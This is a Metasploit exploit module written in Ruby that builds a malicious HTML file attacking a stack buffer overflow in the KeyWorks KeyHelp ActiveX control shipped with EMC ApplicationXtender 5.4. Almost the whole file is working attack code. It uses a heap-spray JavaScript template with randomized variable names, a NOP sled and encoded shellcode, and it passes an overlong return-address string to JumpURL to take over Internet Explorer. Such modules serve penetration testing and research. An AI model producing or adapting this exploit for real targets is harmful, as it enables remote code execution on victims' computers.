##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = AverageRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC ApplicationXtender (KeyWorks) ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the KeyWorks KeyHelp ActiveX Control
        (KeyHelp.ocx 1.2.3120.0). This ActiveX Control comes bundled with EMC's
        Documentation ApplicationXtender 5.4.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'OSVDB', '58423'],
          [ 'BID', '36546' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload'        =>
        {
          'Space'         => 1024,
          'BadChars'      => "\x00",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2 / IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => 'Sep 29 2009',
      'DefaultTarget'  => 0))

      register_options(
        [
          OptString.new('FILENAME',   [ false, 'The file name.',  'msf.html']),
        ])
  end

  def exploit
    # Encode the shellcode.
    shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))

    # Create some nops.
    nops    = Rex::Text.to_unescape(make_nops(4))

    # Set the return.
    ret     = Rex::Text.uri_encode([target.ret].pack('L'))

    # Randomize the javascript variable names.
    vname  = rand_text_alpha(rand(100) + 1)
    var_i  = rand_text_alpha(rand(30)  + 2)
    rand1  = rand_text_alpha(rand(100) + 1)
    rand2  = rand_text_alpha(rand(100) + 1)
    rand3  = rand_text_alpha(rand(100) + 1)
    rand4  = rand_text_alpha(rand(100) + 1)
    rand5  = rand_text_alpha(rand(100) + 1)
    rand6  = rand_text_alpha(rand(100) + 1)
    rand7  = rand_text_alpha(rand(100) + 1)
    rand8  = rand_text_alpha(rand(100) + 1)

    html = %Q|
      <html>
      <head>
        <script>
          try {
            var #{vname} = new ActiveXObject('KeyHelp.KeyCtrl.1');
            var #{rand1} = unescape('#{shellcode}');
            var #{rand2} = unescape('#{nops}');
            var #{rand3} = 20;
            var #{rand4} = #{rand3} + #{rand1}.length;
            while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
            var #{rand5} = #{rand2}.substring(0,#{rand4});
            var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
            while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #{rand6} + #{rand5};
            var #{rand7} = new Array();
            for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #{rand6} + #{rand1} }
            var #{rand8} = "";
            for (#{var_i} = 0; #{var_i} < 4024; #{var_i}++) { #{rand8} = #{rand8} + unescape('#{ret}') }
            #{vname}.JumpURL(1, #{rand8}, "#{vname}");
          } catch( e ) { window.location = 'about:blank' ; }
        </script>
      </head>
      </html>
      |

    print_status("Creating '#{datastore['FILENAME']}' file ...")

    file_create(html)
  end
end
